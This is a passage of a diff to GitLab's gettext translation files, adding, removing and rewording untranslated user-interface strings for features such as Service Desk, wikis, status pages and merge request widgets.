msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ba_RU/gitlab.po b/locale/ba_RU/gitlab.po
index 293c3a7bead..5de0f5a69f4 100644
--- a/locale/ba_RU/gitlab.po
+++ b/locale/ba_RU/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ba\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:52\n"
+"PO-Revision-Date: 2021-04-02 00:12\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -333,6 +341,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -370,17 +385,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-
msgid "%{count} more"
msgstr ""
@@ -473,7 +480,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -854,6 +861,9 @@ msgstr ""
